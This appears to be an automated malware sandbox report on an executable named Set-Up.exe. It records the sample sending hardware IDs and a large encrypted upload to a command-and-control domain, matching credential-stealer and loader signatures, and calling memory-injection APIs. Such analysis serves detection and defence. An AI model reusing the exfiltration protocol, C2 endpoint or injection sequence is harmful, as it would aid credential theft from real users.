{"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9026bc513b7da27f-YUL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17785&min_rtt=17767&rtt_var=6675&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2849&recv_bytes=9738&delivery_rate=164349&cwnd=32&unsent_bytes=0&cid=cdac852ea4df1c6a&ts=791&x=0"
2025-01-15 15:00:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-15 15:00:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49739	104.21.75.15	443	7352	C:\Users\user\Desktop\Set-Up.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 15:00:30 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GEZHOTMV3AP6JSGXBA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: skatestringje.click
2025-01-15 15:00:30 UTC	15331	OUT	Data Raw: 2d 2d 47 45 5a 48 4f 54 4d 56 33 41 50 36 4a 53 47 58 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 43 30 34 46 37 41 42 32 44 45 35 45 32 42 36 37 39 33 31 45 37 38 39 37 46 31 35 44 46 45 0d 0a 2d 2d 47 45 5a 48 4f 54 4d 56 33 41 50 36 4a 53 47 58 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 47 45 5a 48 4f 54 4d 56 33 41 50 36 4a 53 47 58 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 4c 65 64 67 65 Data Ascii: --GEZHOTMV3AP6JSGXBAContent-Disposition: form-data; name="hwid"92C04F7AB2DE5E2B67931E7897F15DFE--GEZHOTMV3AP6JSGXBAContent-Disposition: form-data; name="pid"3--GEZHOTMV3AP6JSGXBAContent-Disposition: form-data; name="lid"c2CoW0--Ledge
2025-01-15 15:00:30 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2025-01-15 15:00:31 UTC	1141	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 15:00:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1on007jottjmnhcbubiggi7on3; expires=Sun, 11 May 2025 08:47:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eC4f6isS%2BnJ%2B%2F%2B%2FOlX7ULtKVXm%2FjIRLTwJQFs36KFqnPlAv0WHEETYvNGWdd5CV6WGs124b7wW%2FbxAMf5%2B48hV4l7jjO5uLnB2LJDwZkqbuCMjdP2JUS8Y9RAluTocGldkSGYTxY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9026bc5d3f5aa2de-YUL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24992&min_rtt=18047&rtt_var=11729&sent=13&recv=28&lost=0&retrans=0&sent_bytes=2848&recv_bytes=21407&delivery_rate=161799&cwnd=32&unsent_bytes=0&cid=f03cd9509a9daeee&ts=827&x=0"
2025-01-15 15:00:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-15 15:00:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	104.21.75.15	443	7352	C:\Users\user\Desktop\Set-Up.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 15:00:32 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4L0R90MN06WVK36KKMX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1422 Host: skatestringje.click
2025-01-15 15:00:32 UTC	1422	OUT	Data Raw: 2d 2d 34 4c 30 52 39 30 4d 4e 30 36 57 56 4b 33 36 4b 4b 4d 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 43 30 34 46 37 41 42 32 44 45 35 45 32 42 36 37 39 33 31 45 37 38 39 37 46 31 35 44 46 45 0d 0a 2d 2d 34 4c 30 52 39 30 4d 4e 30 36 57 56 4b 33 36 4b 4b 4d 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 4c 30 52 39 30 4d 4e 30 36 57 56 4b 33 36 4b 4b 4d 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 4c 65 Data Ascii: --4L0R90MN06WVK36KKMXContent-Disposition: form-data; name="hwid"92C04F7AB2DE5E2B67931E7897F15DFE--4L0R90MN06WVK36KKMXContent-Disposition: form-data; name="pid"1--4L0R90MN06WVK36KKMXContent-Disposition: form-data; name="lid"c2CoW0--Le
2025-01-15 15:00:33 UTC	1127	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 15:00:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0vcicfaom0ct3s0evl0oe1ho5t; expires=Sun, 11 May 2025 08:47:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IX9055aX%2BwJLEiLjvOS2V63Ov0BFaqA2DO3%2FWsq%2BHA8yjggs%2B4xGrYi7ZBFWTbAAv6DFph3xMsXJiSVjQonsv3HhMyViuyAucLCjHq461g9oaxlpkGOopR0qXIzMshCxg65Lit9I"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9026bc681cbd9c3c-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7791&min_rtt=7228&rtt_var=3113&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2848&recv_bytes=2343&delivery_rate=403984&cwnd=32&unsent_bytes=0&cid=54c6930bb908720b&ts=538&x=0"
2025-01-15 15:00:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-15 15:00:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	104.21.75.15	443	7352	C:\Users\user\Desktop\Set-Up.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 15:00:34 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XSDE08Y004PL7YFLYF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 564982 Host: skatestringje.click
2025-01-15 15:00:34 UTC	15331	OUT	Data Raw: 2d 2d 58 53 44 45 30 38 59 30 30 34 50 4c 37 59 46 4c 59 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 43 30 34 46 37 41 42 32 44 45 35 45 32 42 36 37 39 33 31 45 37 38 39 37 46 31 35 44 46 45 0d 0a 2d 2d 58 53 44 45 30 38 59 30 30 34 50 4c 37 59 46 4c 59 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 58 53 44 45 30 38 59 30 30 34 50 4c 37 59 46 4c 59 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 4c 65 64 67 65 Data Ascii: --XSDE08Y004PL7YFLYFContent-Disposition: form-data; name="hwid"92C04F7AB2DE5E2B67931E7897F15DFE--XSDE08Y004PL7YFLYFContent-Disposition: form-data; name="pid"1--XSDE08Y004PL7YFLYFContent-Disposition: form-data; name="lid"c2CoW0--Ledge
2025-01-15 15:00:34 UTC	15331	OUT	Data Raw: 6c a9 3e 08 78 87 a7 8d 15 b9 4a 9d 20 9a 24 21 dd 7c c7 c5 d9 bf ae 53 94 64 16 b2 0c ee 3b 1d fd 90 77 94 90 34 73 e7 cd 53 61 c2 3c e6 86 1e 66 0a 69 3a b7 50 52 40 c8 17 db 34 e9 15 b1 7d fc 2c dc 67 15 9a b4 33 57 74 ad 19 8a 76 57 2f e0 db c6 b0 7c 7a 82 48 ce ba ef 2e 38 4b d0 46 34 38 61 17 e2 14 eb f1 19 30 1c 2d a3 f8 c0 3f 13 3f 6a ff 93 7c 1a 47 a4 a5 9a cd 2f d6 24 2e 0c 70 4d d9 42 6c 11 96 84 6d af 1b 40 c8 91 c6 72 67 ed 4e da ba d6 cb 1c 4e 6e 67 94 c4 ca 7b 2a 94 65 7d 04 a9 1f 29 ba 07 df c4 84 59 2b d7 cf 69 4c ba 15 c7 47 1f 25 84 9d ab 30 67 9a 5b 9b e7 28 f4 62 d8 9e 96 85 49 2b 1f c4 52 45 9c 92 e4 54 dc df 4c 70 a3 8c b9 93 fb 0c 6f a0 d2 28 d8 06 bd eb 55 73 43 25 6b ac 9e 2e b7 61 72 19 26 06 4e 5d 72 d5 b4 b0 b5 cc 08 09 a4 2a Data Ascii: l>xJ $!\|Sd;w4sSa<fi:PR@4},g3WtvW/\|zH.8KF48a0-??j\|G/$.pMBlm@rgNNng{e})Y+iLG%0g[(bI+RETLpo(UsC%k.ar&N]r
2025-01-15 15:00:34 UTC	15331	OUT	Data Raw: ef 8f 8e b0 7d cd a4 9f 3d f0 c1 43 36 f6 e3 7c 0a ce da d2 f8 f8 78 de 45 58 da 43 58 b8 ef e2 26 94 fd 8e 6e 38 3f a3 72 64 3e 1e aa da 1b 97 e5 88 bc b1 ef b2 9c ce 9d d3 b8 7a 45 fa cf 3d b1 92 b8 66 80 87 14 05 88 c1 31 f6 b8 bd fb e4 d2 a9 d2 97 99 39 7b d7 4b 56 5c ab 44 21 6c 98 10 f0 ba 6d 11 b4 e1 8b 45 b6 0c e9 f7 25 d5 fd 9a fe cd 33 85 39 b1 f7 97 6a ea 7c b0 86 cc d4 ea f9 cc b0 e1 26 8f 42 bf 89 96 94 20 29 07 9f 48 16 23 a1 c0 5f b9 30 b8 3f 7c 5f 6c 44 67 b6 01 47 e5 60 03 45 f5 55 1b f3 13 0f f9 b2 2c de a9 1a e0 2f 57 cf ca 33 92 78 15 fd 96 ea 10 80 29 c6 f8 ee f7 34 8c 39 c1 11 0d 6d 7c e1 dd 9a 74 b7 52 7d a8 7c c4 b1 96 79 ae 7c bb 5d 88 de 7e 6e a9 72 fa 5d 7b 80 3a 79 e2 05 fd 51 b8 b0 af 80 94 fa 37 30 ca 09 f8 71 49 41 f7 0b 7d Data Ascii: }=C6\|xEXCX&n8?rd>zE=f19{KV\D!lmE%39j\|&B )H#_0?\|_lDgG`EU,/W3x)49m\|tR}\|y\|]~nr]{:yQ70qIA}
2025-01-15 15:00:34 UTC	15331	OUT	Data Raw: d2 cc 28 64 60 24 34 8f 5a fd c0 e0 1e 99 78 27 21 d2 85 6b 54 f0 e9 31 e5 1c 78 d3 b2 e3 cb 5b 72 32 a8 73 db 74 88 68 b1 1f 85 7e 55 72 58 95 8a df 1f df b0 00 cc 93 c3 f6 02 df 6a 2f ca 99 3b fc e2 1e 5d f9 f1 db 7f 7e 7b e7 dc 54 a0 fd d4 2e 3e fb 25 d9 7c 05 83 a7 f4 8b 74 fa 99 b3 a2 d1 e9 27 57 23 fe e1 fd 3d 81 05 b9 6b 1b 67 e9 7a bb b1 34 83 5d 4d 39 b3 7d 84 15 03 4a 73 84 5b c8 ce 11 a1 54 dd bd d0 ed 08 df dd 23 16 8a 0e 7f 90 ec ae 51 41 2e 04 9a 37 06 21 98 40 9d c6 e4 ea bd e7 b6 af 9c a2 24 6d ab c9 00 f5 77 fc f6 da b9 43 60 2e 40 00 10 bd c1 10 6a 91 98 c8 dc 07 8c ef 76 76 a1 11 2a 06 d3 eb 4e 65 b8 0e eb 0b 6d 57 13 be 6f f8 64 b1 27 75 78 33 22 6a 55 3e c2 4f d4 c8 74 48 3e 32 70 cc 05 97 f2 e3 d7 79 bb e1 c0 9b 46 cc f7 b4 14 d8 08 Data Ascii: (d`$4Zx'!kT1x[r2sth~UrXj/;]~{T.>%\|t'W#=kgz4]M9}Js[T#QA.7!@$mwC`.@jvv*NemWod'ux3"jU>OtH>2pyF
2025-01-15 15:00:34 UTC	15331	OUT	Data Raw: 0b c1 85 52 a1 3e cb d0 fa 79 04 13 84 8b 4a a2 38 3f 19 dd a3 54 05 e5 6a 4f 34 0a 25 c2 51 01 88 0d c2 83 77 87 22 e0 84 7b 17 f9 c0 cf b5 2c 2b b5 be a3 a1 0a ac 4d 68 14 ea bb 9a fb 98 d9 52 6b 1c 87 6b 33 ce 26 26 ce 9c c4 a5 9b 18 21 4c 9d be 5f 6b 22 a1 d5 4a 06 e6 c5 48 09 f0 b8 5e b2 d3 c1 89 9e 1e c5 bd 57 80 15 20 12 63 88 70 58 54 b2 70 30 a3 ed 1c 56 78 7e 28 48 6f 44 3e 95 7d 98 68 17 ea c3 f3 03 c9 7f e0 8c dd bf eb cf ee e7 69 6e 3a d0 e9 1b 9f ee 8d 33 63 a6 dd fd 46 f7 d9 10 6e 42 58 a1 e4 33 c5 26 5f 13 43 13 8a 89 7e b2 b3 60 3a 63 31 13 6d d5 c9 e4 d4 05 96 59 bb 60 9c 68 f0 9d 86 87 e6 dd e2 cc 57 52 41 f3 c9 1e dc b3 3a ae 83 72 cf 66 1a 5b 9a 3e c5 db 82 0a 25 10 9d 54 10 87 df c6 f3 03 ca be ac 50 b8 72 47 53 e3 71 8b 59 e8 cf 7f Data Ascii: R>yJ8?TjO4%Qw"{,+MhRkk3&&!L_k"JH^W cpXTp0Vx~(HoD>}hin:3cFnBX3&_C~`:c1mY`hWRA:rf[>%TPrGSqY
2025-01-15 15:00:34 UTC	15331	OUT	Data Raw: a6 65 68 7a 43 84 e6 40 ce 7e d3 fe 3a 96 fb be a4 8d 62 6c 17 83 7b 9a e8 1a 63 e8 ee 9e 24 ec c0 07 d6 64 63 4c 3d 8d 04 06 cf 7f 3d 7c 2c d4 8c bf 5e ec db aa b2 5a 71 bc f1 c4 9e 88 e2 9f 12 fb 29 5a 60 42 3e f2 0e 52 28 97 73 f0 22 62 16 e3 fc c6 5a 5c 14 42 21 24 26 f6 41 bc 82 f4 10 34 45 86 fb 87 76 2e e4 37 4d 7e 07 50 db da 7f 2e be 59 64 bf ad fe ab f4 ed 87 f6 0f 00 02 0b ea cc e0 68 a4 56 1c 75 a6 3f 10 03 8c 67 2c 3b 0f 42 21 be 44 30 09 15 43 4e de 7c f7 01 27 57 3d fa 30 3e b4 03 31 cb 5f 7e a5 bc d5 bc 00 0a 5a aa 1f 62 e1 fe 68 cf 82 3b d1 8b b5 f6 5e 6b 64 17 38 32 76 59 da 4a 32 39 e4 de 5a 28 7a af a0 e6 d3 c8 19 fd c9 3c 99 fd 35 fb 52 2f 9e 2f d0 d8 06 a5 a7 61 6d 9e 3c ab 7d a2 7b c3 52 e7 7f 57 e2 12 f6 83 2e 15 8c 81 34 60 5a b8 Data Ascii: ehzC@~:bl{c$dcL==\|,^Zq)Z`B>R(s"bZ\B!$&A4Ev.7M~P.YdhVu?g,;B!D0CN\|'W=0>1_~Zbh;^kd82vYJ29Z(z<5R//am<}{RW.4`Z
2025-01-15 15:00:34 UTC	15331	OUT	Data Raw: 0a 21 37 c7 5e ac 38 69 fa 28 12 b3 d9 bd 93 70 1d 53 d8 f0 da fd 9b e1 6d 6c 0e 57 bc a3 2d ae 80 8c 0b 80 17 f1 6b 10 62 8c 93 61 6f cd d3 ba ac 65 63 3a e2 dd af 6c 79 06 8a d3 d4 16 b0 ca bb 51 71 95 f9 28 fe f3 26 6b 44 3f c9 59 c6 70 2d da 04 93 f9 cd b2 2d 7f b9 b3 d1 34 c6 84 2b 36 90 31 c3 40 c1 b6 04 7d 44 af fc 97 f8 28 e1 ac c9 26 b1 3f d6 6b e4 db 45 21 27 e9 5e 7e 0a 89 99 40 0a e4 f4 cc 21 cb c4 f7 57 bf 69 de d3 1c 59 a5 17 2d c3 6d d2 38 e9 eb 91 ba d3 d3 b3 8f 16 24 94 16 da 73 46 6f 8f e4 f1 b2 5a 60 e0 86 61 ea ff f7 68 df 53 fc 80 b6 e0 a9 b7 a0 78 ba df 36 d6 10 f7 fc 4a 48 a5 61 f8 d2 27 e3 ef 00 13 c0 9e 5a fc 4e ce ba 26 c9 3d 1d 0b 76 72 38 4e dc 4f ea 0f 7a 86 08 ca 4c 12 b5 06 43 5c 72 0c 11 fb 25 05 6e 48 43 1a ff ef 00 d1 d3 Data Ascii: !7^8i(pSmlW-kbaoec:lyQq(&kD?Yp--4+61@}D(&?kE!'^~@!WiY-m8$sFoZ`ahSx6JHa'ZN&=vr8NOzLC\r%nHC
2025-01-15 15:00:34 UTC	15331	OUT	Data Raw: ea d1 ad 9d b3 99 17 d8 0e 64 9e f2 db 17 3f c5 05 0d 5b fb d9 22 d0 41 15 d9 2d 71 5b ed 82 86 f3 98 9e c2 c2 bc e9 00 a4 34 d0 b9 0d 5a eb ac f9 a6 05 0a b9 2a af 37 fb c8 dd 31 7e fa 1d 7c c8 29 b6 3a 42 41 bf a7 ff da 23 71 f4 f0 ee d9 63 ba 58 aa fc 0b 22 c7 54 0e 83 03 68 2b 8c 0f 88 6e fc 51 70 59 30 79 41 a7 c2 e2 ae fb e2 09 a6 67 50 66 e4 d6 15 74 07 6c 37 d8 8d b9 54 95 a0 03 90 e2 a3 fe a9 bf 20 42 04 37 44 3c cf 7d 1a 01 52 d3 77 61 b1 4a 75 71 e4 3b ac 37 4a 38 42 23 6a f3 e7 15 6a 21 c5 7c 03 c7 7b 1c a0 fc cf e7 c0 28 76 0f 1e 7f af 8f 8b 90 e2 a9 28 c2 c7 73 52 52 20 18 47 3d 96 cf 8c ba c3 e5 c5 d0 94 8e 95 84 7c 27 61 cd 3b 1c 74 e0 bf fd d7 aa bf b5 8a 14 a6 39 e4 36 1c c5 bb 72 fb b6 89 1a f8 b0 07 3b c8 b9 55 9b 7e 34 39 22 13 d9 f1 Data Ascii: d?["A-q[4Z*71~\|):BA#qcX"Th+nQpY0yAgPftl7T B7D<}RwaJuq;7J8B#jj!\|{(v(sRR G=\|'a;t96r;U~49"
2025-01-15 15:00:34 UTC	15331	OUT	Data Raw: 9c 7a 2a a9 07 d8 ef 7e 95 6a 9a e1 09 ae 3c 6b ca 6d c4 aa 64 d1 7b 36 aa 01 2f e3 2e 5a 36 35 43 84 6b 62 3b 54 2f 1d c5 52 b8 71 7d f7 11 d7 e0 05 af bb 69 da 1c 2c 93 d4 f2 3c c5 06 04 74 d4 e6 a9 a3 8a 10 fa 8a 36 9e fc a2 58 d1 6e 2f 31 7b cf 75 87 2e 6e 3e e9 09 ae 1a a5 03 9b fe 98 a0 f9 0f 9b d1 be 04 89 b8 42 81 98 42 6b a6 bd 5e ee dc b0 71 e9 66 f1 61 7b 79 4a e7 8c 64 02 f0 5e c0 40 0a ee dc ac 15 75 b3 e6 7b da 91 b0 95 32 2d 24 89 2b 9a 58 7f 54 33 9a 71 27 94 b2 62 43 51 70 10 62 ff c6 3b 90 d2 c5 c7 cb bb 4d bc a5 67 2d 9f bb 1d 99 b8 14 69 c5 bc 52 42 c1 a8 88 bb 40 7b b5 b1 f5 c5 f8 80 ca 9a ca b7 ba 8d f3 a4 9d af 0b ad b9 bf 33 4a 42 a6 d3 8c 1a 44 2e d5 b8 c2 7b 1e fb ad bb 20 f5 1a 6e 07 a8 2f da 30 89 8d e9 61 19 e7 b6 af 47 a2 42 Data Ascii: z*~j<kmd{6/.Z65Ckb;T/Rq}i,<t6Xn/1{u.n>BBk^qfa{yJd^@u{2-$+XT3q'bCQpb;Mg-iRB@{3JBD.{ n/0aGB
2025-01-15 15:00:34 UTC	15331	OUT	Data Raw: 59 98 ac c1 65 cf 01 fd 9f b1 db e6 87 e2 f5 0a 11 a6 4f 2f 74 65 7d 46 94 24 60 a7 b1 9c 69 23 5a 7a af 75 66 e4 67 ab 18 16 24 7d c8 cd 72 f2 4f d1 2b 85 c3 45 40 87 cf 47 3e fa d1 05 ad d8 30 47 9e e7 5d 77 59 7b b8 58 25 c5 fb d5 40 54 75 fa 67 76 1b 7f 8b 3c 47 b8 25 73 99 d9 92 c9 0e 69 c9 dc e2 f8 cf 3a 71 d7 c5 ba 69 26 2b 3f 0e 36 05 a8 4d ab 01 de 1b ef a9 d5 6d 05 9c e5 02 24 aa 72 ae 34 ab cc 35 dc ff 4d c5 28 ff f1 7e 3f 13 ce 67 d6 8c 90 5f 59 af b1 c0 66 ff 75 3f 14 fe c6 93 38 78 a9 75 eb 76 d8 e2 9d 05 df 81 58 bb 8a c1 e9 e0 77 15 73 0f d4 32 9e b0 0a 5a 9a 65 67 fa 5e f4 de 94 2a ad 8a a3 28 00 13 f6 76 c6 d3 79 30 ff 3d 73 cb 5f 52 18 15 72 5d d1 88 f1 8c ce ef 1a d0 bb b9 71 fb 1e 12 7c d9 62 3c 6c 0a 9a d3 a4 96 e0 80 46 84 fb e9 fc Data Ascii: YeO/te}F$`i#Zzufg$}rO+E@G>0G]wY{X%@Tugv<G%si:qi&+?6Mm$r45M(~?g_Yfu?8xuvXws2Zeg^*(vy0=s_Rr]q\|b<lF
2025-01-15 15:00:36 UTC	1136	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 15:00:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kjpkvkc74jg50ni35bdfk09u3n; expires=Sun, 11 May 2025 08:47:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CkIGTkRWSf%2BGB5DssHJ9UebitVejMMvLqV5g7mazxQcUqifz1qR6K%2BCHzFVB%2F11gZ0rbKpBaQzbuwtJ0WGnUx4S2nhI%2Fs2dDL0eON3gsiM2PSZkPh7PzEFYBZY5V0h2sqqQ74PC4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9026bc738fbaaabf-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14271&min_rtt=14269&rtt_var=5355&sent=199&recv=581&lost=0&retrans=0&sent_bytes=2849&recv_bytes=567510&delivery_rate=204395&cwnd=32&unsent_bytes=0&cid=3686241e484252b7&ts=1656&x=0"

Target ID:	0
Start time:	10:00:10
Start date:	15/01/2025
Path:	C:\Users\user\Desktop\Set-Up.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Set-Up.exe"
Imagebase:	0x400000
File size:	4'180'480 bytes
MD5 hash:	76F313AD20BD3DA35EF5A7460CAF4F95
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1940402195.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1937265688.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	31.6%
Total number of Nodes:	117
Total number of Limit Nodes:	10

Executed Functions

Function 026AF556 Relevance: 12.7, APIs: 8, Instructions: 730memorynativethreadCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000,00000000), ref: 026AF5EF
NtMapViewOfSection.NTDLL(?,00000000), ref: 026AF697
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 026AFA0B
NtMapViewOfSection.NTDLL(?,00000000,?,?,?,?,?,?), ref: 026AFAC0
VirtualProtect.KERNEL32(?,?,00000008,?,?,?,?,?,?,?), ref: 026AFADD
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 026AFB80
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,?,?,?,?), ref: 026AFBB3
CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 026AFD24

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID: Virtual$ProtectSection$CreateView$AllocThread
String ID:
API String ID: 1248616170-0
Opcode ID: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction ID: 2e72c237d50925f50f82301550f9ac5557a05054f1d5ec6e553cc12816c760ca
Opcode Fuzzy Hash: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction Fuzzy Hash: 6E429871608341AFDB24CF24C854BABBBE9EF88704F14492DF9859B691D732E841CF92

Function 02660396 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 399
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,00000001,?,81EC8B55,000000FF), ref: 02660639
